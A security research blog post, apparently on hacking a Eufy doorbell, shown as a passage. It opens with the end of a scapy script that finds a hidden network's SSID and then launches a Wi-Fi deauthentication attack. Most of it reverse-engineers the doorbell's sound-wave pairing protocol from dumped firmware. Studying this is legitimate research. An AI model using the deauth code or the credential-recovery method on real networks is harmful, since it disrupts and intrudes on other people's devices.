<span class="k">if</span> <span class="n">ch</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[!] Arr!! The ocean is empty today!!</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">set_channel</span><span class="p">(</span><span class="n">iface</span><span class="p">)</span>
<span class="n">sniffer</span> <span class="o">=</span> <span class="n">AsyncSniffer</span><span class="p">(</span><span class="n">iface</span><span class="o">=</span><span class="n">iface</span><span class="p">,</span> <span class="n">prn</span><span class="o">=</span><span class="n">handle_probe_resp</span><span class="p">,</span> <span class="n">store</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">sniffer</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.05</span><span class="p">)</span>
<span class="n">sendp</span><span class="p">(</span><span class="n">build_req</span><span class="p">(),</span> <span class="n">iface</span><span class="o">=</span><span class="n">iface</span><span class="p">,</span> <span class="n">count</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">inter</span><span class="o">=</span><span class="mf">0.01</span><span class="p">,</span> <span class="n">verbose</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">sniffer</span><span class="p">.</span><span class="n">stop</span><span class="p">()</span>
<span class="k">if</span> <span class="n">whale_ssid</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!"</span><span class="p">)</span>
<span class="nb">input</span><span class="p">()</span>
<span class="n">deauth</span><span class="p">()</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div></div>
<p>The script just sends 500 because it’s all I needed to probe it at my local setup (to be honest I discovered this by error, I was just trying to grab the 4-way handshake to try to crack it with hashcat).</p>
<h1 id="0x03-soundwave-sync-protocol">0x03 Soundwave sync protocol</h1>
<p>To connect the doorbell to the HomeBase, it must be synchronized. At first glance, the synchronization process appears to rely on sound waves. This really caught my attention because I had never worked with signals before, and understanding how this protocol works seemed like a fascinating challenge. The USENIX paper mentions it briefly:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/soundwave-paper.png" alt="Mention to the pairing system" />
<figcaption>
Mention to the pairing system
</figcaption>
</figure>
<p>This is partially true and made me waste a lot of time. Initially I thought, based on the paper, that HomeBase encoded the SSID and passphrase in that soundwave, then the doorbell decoded the information and connects directly to the hidden network. It’s correct that the Homebase sends a SSID name and a PSK through the sound, but it’s for a temporal hotspot: once the doorbell conects to the hotspot it shares out-of-band the hidden wifi SSID and password and then finally connects to it.</p>
<p>The hotspot data is different each time Homebase is rebooted, so I guess it’s random or derived from a timestamp or similar (I don’t have the hardware needed to dump its firmware, so I am blind on how it’s generated). It’s obvious because after a reboot the soundwave is different, so it carries different data each time (spoiler: after reversing the protocol I confirm is diff each time). But how is this soundwave? You can hear here a full pairment process:</p>
<audio controls="">
<source src="/Eufy-DoorBell-hacking/output-new.wav" type="audio/wav" />
Your browser does not support the audio element.
</audio>
<p>To record the audio I created this poor man’s setup using a Raspberry Pi and a web cam:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/setup.jpg" alt="Crappy setup to record the audio" />
<figcaption>
I do not have a glamorous lab.
</figcaption>
</figure>
<p><em>I need to do a disclaimer before I continue because I believe is importnat. I am biologist, I have zero idea about maths, telecom, signals and this whole world. This means that is possible that I describe stuff that maybe are not the correct way to explain or are inexact. So, if you spot mistakes in my explanations please tell me so I can edit the blog and learn more. I hope nobody get offended by my lack of knowledge on this field: I used this sync protocol as a mere excuse to start learning about this topic that I never touched before.</em></p>
<p>I had zero idea how to start doing this part of the research so I talked with my friend <a href="https://actinid.org/">Gonzalo Carracedo a.k.a BatchDrake</a> (creator of <a href="https://github.com/batchdrake/sigdigger">SigDigger</a>) and he jumped immediately to a 15 min videocall to explain me how to start analyzing it and what he found. Just from the signal he told me:</p>
<ul>
<li>19 Frequencies were used</li>
<li>150 Hz of difference between them</li>
<li>There was a gap (one frequency was never used)</li>
<li>Symbols had a aprox duration of 65ms</li>
</ul>
<p>He pointed me to dump the doorbell firmware (which acts as receiver and decodes the soundwave sent by the homebase) and combine my analysis with classic reversing engineering. Luckly I could dump it connecting test hooks to the flash memory and using the SPI0 interface of an old Raspberry Pi (note: the Homebase flash does not expose “legs” so I can not use test hooks to connect it that’s why I did not dump -yet- its firmware).</p>
<figure>
<img src="/Eufy-DoorBell-hacking/dumping.jpg" alt="Raspberry Pi being used to dump the memory" />
<figcaption>
Raspberry Pi being used to dump the memory
</figcaption>
</figure>
<p>Once we got a dump of the flash memory I extracted all the files I could and I checked for interesting strings that would guide me to find the right ELF to dissasemble and analyze. Looking for “SSID” brought an obvious candidate:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/strings.jpg" alt="Strings related to SSID" />
<figcaption>
Strings related to SSID
</figcaption>
</figure>
<p>Then I proceed to search for more clues inside the ELF (e.g. searching for “frequency”, “sample”, etc.) and found this interesting function:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">uint</span> <span class="nf">FUN_000b4f28</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">pcVar2</span><span class="p">;</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">piVar3</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar4</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"---------use base frequence: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="mi">12000</span><span class="p">);</span>
<span class="n">DAT_0029a148</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x4</span><span class="p">);</span>
<span class="n">DAT_0029a14c</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x8</span><span class="p">);</span>
<span class="n">DAT_0029a150</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0xc</span><span class="p">);</span>
<span class="n">DAT_0029a144</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">DAT_0029a154</span><span class="p">.</span><span class="n">_0_4_</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
<span class="n">_DAT_0029a15c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">DAT_0029a164</span><span class="p">.</span><span class="n">_0_4_</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">DAT_0029a154</span><span class="p">.</span><span class="n">_4_4_</span> <span class="o">=</span> <span class="n">DAT_0029a148</span><span class="p">;</span>
<span class="n">DAT_0029a160</span> <span class="o">=</span> <span class="n">DAT_0029a148</span><span class="p">;</span>
<span class="n">DAT_0029a164</span><span class="p">.</span><span class="n">_4_4_</span> <span class="o">=</span> <span class="n">DAT_0029a148</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">!=</span> <span class="mh">0xac44</span> <span class="o">&&</span> <span class="n">param_1</span> <span class="o">!=</span> <span class="mi">48000</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"samplerate error! only support %dHz, %dHz</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">!=</span> <span class="mh">0x10</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"bitwidth error! only support %d!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="mh">0x10</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="n">uint</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">!=</span> <span class="mh">0xac44</span> <span class="o">&&</span> <span class="n">param_1</span> <span class="o">!=</span> <span class="mi">48000</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">FUN_000b54cc</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="n">DAT_0029a148</span> <span class="o">=</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">uVar1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"create failed!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">piVar3</span> <span class="o">=</span> <span class="o">&</span><span class="n">DAT_00282ef4</span><span class="p">;</span>
<span class="n">iVar4</span> <span class="o">=</span> <span class="mi">12000</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">piVar3</span> <span class="o">=</span> <span class="n">piVar3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="o">*</span><span class="n">piVar3</span> <span class="o">=</span> <span class="n">iVar4</span><span class="p">;</span>
<span class="n">iVar4</span> <span class="o">=</span> <span class="n">iVar4</span> <span class="o">+</span> <span class="mh">0x96</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">iVar4</span> <span class="o">!=</span> <span class="mh">0x3a02</span><span class="p">);</span>
<span class="n">FUN_000b55d0</span><span class="p">(</span><span class="n">uVar1</span><span class="p">,</span><span class="o">&</span><span class="n">DAT_00282ef8</span><span class="p">,</span><span class="mh">0x13</span><span class="p">);</span>
<span class="n">FUN_000b5690</span><span class="p">(</span><span class="n">DAT_0029a148</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">&</span><span class="n">LAB_000b4e00</span><span class="p">,</span><span class="n">FUN_000b4e18</span><span class="p">);</span>
<span class="n">DAT_0029a154</span><span class="p">.</span><span class="n">_0_4_</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x100</span><span class="p">);</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">DAT_0029a154</span> <span class="o">==</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">piVar3</span> <span class="o">=</span> <span class="n">__errno_location</span><span class="p">();</span>
<span class="n">pcVar2</span> <span class="o">=</span> <span class="n">strerror</span><span class="p">(</span><span class="o">*</span><span class="n">piVar3</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"malloc failed with: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">pcVar2</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">DAT_0029a148</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"failed!"</span><span class="p">);</span>
<span class="n">FUN_000b5580</span><span class="p">(</span><span class="n">DAT_0029a148</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">DAT_0029a144</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">DAT_0029a148</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Did you spot it?</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">iVar4</span> <span class="o">=</span> <span class="mi">12000</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">piVar3</span> <span class="o">=</span> <span class="n">piVar3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="o">*</span><span class="n">piVar3</span> <span class="o">=</span> <span class="n">iVar4</span><span class="p">;</span>
<span class="n">iVar4</span> <span class="o">=</span> <span class="n">iVar4</span> <span class="o">+</span> <span class="mh">0x96</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">iVar4</span> <span class="o">!=</span> <span class="mh">0x3a02</span><span class="p">);</span>
</code></pre></div></div>
<p>This code is used to initialize the context capture of the 19 frequences (separated by 0x96 => 150Hz) that BatchDrake spotted in his brief analysis. From <code class="language-plaintext highlighter-rouge">FUN_000b54cc</code> we can see how it choose the “window frame”:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_000b54cc</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">pvVar2</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">uVar3</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">uVar4</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar5</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">in_fpscr</span><span class="p">;</span>
<span class="kt">double</span> <span class="n">dVar6</span><span class="p">;</span>
<span class="n">dVar6</span> <span class="o">=</span> <span class="p">(</span><span class="kt">double</span><span class="p">)</span><span class="n">VectorSignedToFloat</span><span class="p">(</span><span class="n">param_2</span><span class="p">,(</span><span class="n">byte</span><span class="p">)(</span><span class="n">in_fpscr</span> <span class="o">>></span> <span class="mh">0x16</span><span class="p">)</span> <span class="o">&</span> <span class="mi">3</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uVar4</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">uVar4</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">iVar1</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)(</span><span class="n">longlong</span><span class="p">)((</span><span class="n">dVar6</span> <span class="o">*</span> <span class="mi">1024</span><span class="p">.</span><span class="mi">0</span><span class="p">)</span> <span class="o">/</span> <span class="mi">44100</span><span class="p">.</span><span class="mi">0</span><span class="p">);</span>
<span class="n">uVar3</span> <span class="o">=</span> <span class="n">iVar1</span> <span class="o">-</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">>></span> <span class="mh">0x1f</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xfffffffe</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">uVar3</span> <span class="o"><</span> <span class="mh">0x101</span><span class="p">)</span> <span class="p">{</span>
<span class="n">iVar5</span> <span class="o">=</span> <span class="mh">0x100</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">uVar3</span> <span class="o">-</span> <span class="mh">0x101</span> <span class="o"><</span> <span class="mh">0x100</span><span class="p">)</span> <span class="p">{</span>
<span class="n">iVar5</span> <span class="o">=</span> <span class="mh">0x200</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">iVar5</span> <span class="o">=</span> <span class="mh">0x400</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">pvVar2</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mh">0x118</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="n">FUN_000baaf8</span><span class="p">(</span><span class="n">pvVar2</span><span class="p">,</span><span class="n">uVar4</span><span class="p">,</span><span class="n">param_2</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0x10</span><span class="p">,</span><span class="n">iVar5</span><span class="p">,</span><span class="n">iVar5</span> <span class="o">-</span> <span class="n">iVar1</span> <span class="o">/</span> <span class="mi">2</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>It scales from 1024 samples at 44.1 kHz: <code class="language-plaintext highlighter-rouge">1024 / 44100 = 23.22 ms</code>. The half-window advance is <code class="language-plaintext highlighter-rouge">512 / 44100 = 11.61 ms</code>. That’s what the firmware does… but because I had no idea it would affect the analysis when I recoreded the sync audio… so my WAV is 32K. This means that to keep the same timing, our window will be composed by 743 samples (32000 samples/s x 0.02322 s) and the half-window advance would be 372. Using this window advance of 11.61ms I was able to capture a symbol every 6 advances (so 6 x 11.62), I estimated that setting <code class="language-plaintext highlighter-rouge">69.75ms</code> as symbol duration would work (and it worked).</p>
<p>If we plot the strongest frequency (“tone”) (and numerate them from 1 to 19) we can see how patterns clearly emerge:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/plot-1.png" alt="Tones vs Time" />
<figcaption>
Tones vs Time
</figcaption>
</figure>
<p>The tone at position “1” seems to be a marker that split the information blocks of sime size (15 symbols), except the last one that seems like a “shortened” block (4 symbols). This “grouping” of symbols in “blocks” of 15 symols size happens at <code class="language-plaintext highlighter-rouge">FUN_000c2624</code>. I did not understood what this function did (as I said my knowledge of maths and telecom is close to null), so I had to ask ChatGPT for guidance. Here is the description it gave to me:</p>
<blockquote>
<p>FUN_000c2624 predicts where each tone symbol should occur, evaluates all 19 frequencies around those positions, and retains the best temporally consistent candidates. It groups these candidates into a block for later processing.</p>
</blockquote>
<p>The next step in the pipeline is the transformation of the recognized tones to nibbles. Function <code class="language-plaintext highlighter-rouge">FUN_000b7160</code> is where all the magic happens. The mapping is simple:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">uVar5</span> <span class="o">!=</span> <span class="mh">0x12</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">uVar5</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">uVar13</span> <span class="o">=</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="mh">0xe</span> <span class="o"><</span> <span class="n">uVar1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">uVar13</span> <span class="o">=</span> <span class="mh">0xf</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The physical tone that we labeled as “1” in the plot previously shown is a “marker/guard” to split the blocks, so the tone to nibble conversion starts at our tone number 2 (our tone number 2 is interpreted as “event 1” -what <code class="language-plaintext highlighter-rouge">uVar5</code> holds- because the array starts at 0 and I numbered the tones starting by 1 -off-by-one by stupidity-). So tones 2 to 17 maps nibles 0 to F. That covers the tones from 1 to 17, but what happens with 18 and 19?</p>
<p>Well, from the analysis of this function we can infer they are used as “control” tones to indicate repetitions. I guess this is because if the Homebase needs to send the same tone two or more times (e.g. to encode 1-1-1) it would be difficult to be sure about if it was 2 or 3 tones (real world has more noise than a synthetic test or lab). The following table summarizes the findings:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/tone-table.png" alt="Tones meaning based on firmware analysis" />
<figcaption>
Tones meaning based on firmware analysis
</figcaption>
</figure>
<p>With this information we can recover all the nibbles shared by the Homestation. Literally you can recover them by hand just improving the data representation of the first image (the plot of tones vs time) and writing in paper the tone sequence.</p>
<figure>
<img src="/Eufy-DoorBell-hacking/first-block.png" alt="Manual decoding" />
<figcaption>
Manual decoding of first block (I ignore tone 10 because is used as marker too when starting)
</figcaption>
</figure>
<p>After automatizing this process with python, here are the three blocks recovered from the audio:</p>
<figure>
<img src="/Eufy-DoorBell-hacking/all-blocks.png" alt="Automatic decoding" />
<figcaption>
Information decoded from each block
</figcaption>
</figure>
<p>When decoding the tones to nibbles I found that the last two nibbles where used by <code class="language-plaintext highlighter-rouge">FUN_000bcd4</code>, which is a function that I did not understood. Once again, I asked to ChatGPT to explain me what the function was about:</p>
<blockquote>
<p>FUN_000bcd48 performs Reed-Solomon processing on one 15-nibble block: it calculates two GF(16) parity syndromes, accepts the block unchanged when both are zero, or attempts to identify and correct one erroneous nibble when they are nonzero. In simple terms, it uses the block’s two parity nibbles to repair a single incorrectly recognized tone before the data proceeds to CRC validation.</p>
</blockquote>
<p>So it was <a href="https://es.wikipedia.org/wiki/Reed-Solomon">Reed-Solomon</a>, meaning that the last two nibbles does not carry information per se (they are used just to correct errors):</p>
<figure>
<img src="/Eufy-DoorBell-hacking/rs.png" alt="Full block meaning" />
<figcaption>
Full block meaning
</figcaption>
</figure>
<p>The shortened block is CRC-16 (it is validated at <code class="language-plaintext highlighter-rouge">FUN_000b7104</code> using <code class="language-plaintext highlighter-rouge">FUN_000c4370</code>):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bool</span> <span class="nf">FUN_000b7104</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">FUN_000c4370</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_2</span> <span class="o">-</span> <span class="mi">4U</span> <span class="o">&</span> <span class="mh">0xffff</span><span class="p">);</span>
<span class="n">iVar2</span> <span class="o">=</span> <span class="n">param_1</span> <span class="o">+</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x3ffffffc</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span><span class="p">;</span>
<span class="k">return</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">iVar2</span> <span class="o">+</span> <span class="mh">0xc</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xf</span> <span class="o">|</span>
<span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x3ffffffc</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">)</span> <span class="o"><<</span> <span class="mh">0xc</span> <span class="o">|</span>
<span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">iVar2</span> <span class="o">+</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">8</span> <span class="o">|</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">iVar2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">uint</span> <span class="nf">FUN_000c4370</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">uint</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="n">uint</span> <span class="o">*</span><span class="n">puVar2</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puVar2</span> <span class="o">=</span> <span class="p">(</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="o">-</span><span class="mi">4</span><span class="p">);</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="mh">0xffff</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">puVar2</span> <span class="o">=</span> <span class="n">puVar2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="p">((</span><span class="n">uint</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">*</span><span class="p">)(</span><span class="o">&</span><span class="n">DAT_00235e90</span> <span class="o">+</span> <span class="p">(</span><span class="o">*</span><span class="n">puVar2</span> <span class="o">&</span> <span class="mh">0xff</span> <span class="o">^</span> <span class="n">uVar1</span> <span class="o">>></span> <span class="mi">8</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span> <span class="n">uVar1</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&</span>
<span class="mh">0xffff</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">((</span><span class="n">uint</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">-</span> <span class="mi">1U</span> <span class="o">&</span> <span class="mh">0xffff</span><span class="p">)</span> <span class="o">*</span> <span class="mi">4</span><span class="p">)</span> <span class="o">!=</span> <span class="n">puVar2</span><span class="p">);</span>
<span class="k">return</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mh">0xffff</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>At this point I had a clear picture of what was <em>usable</em> data and what was added data to correct errors / ensure the correct tone-to-nibble conversion. Instead of still digging on the conversion pipeline I decided to open my zoom and try to search where the SSID and password could be used (yep, I just searched for strings) and found this gem where the data is used to format a json with “s” and “p” that made me think it could be probably “sssid” and “password”:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_000b4e18</span><span class="p">(</span><span class="n">undefined4</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">int</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_3</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_4</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">undefined4</span> <span class="n">uVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">iVar2</span><span class="p">;</span>
<span class="n">undefined1</span> <span class="n">auStack_94</span> <span class="p">[</span><span class="mi">40</span><span class="p">];</span>
<span class="n">undefined1</span> <span class="n">auStack_6c</span> <span class="p">[</span><span class="mi">88</span><span class="p">];</span>
<span class="k">if</span> <span class="p">(</span><span class="n">param_2</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">param_4</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">_DAT_0029a15c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">uVar1</span> <span class="o">=</span> <span class="n">param_4</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">param_2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&&</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">=</span> <span class="n">FUN_000b642c</span><span class="p">(</span><span class="n">param_3</span><span class="p">,</span><span class="n">param_4</span><span class="p">),</span> <span class="n">uVar1</span> <span class="o">=</span> <span class="n">_DAT_0029a15c</span><span class="p">,</span> <span class="n">iVar2</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">))</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">iVar2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
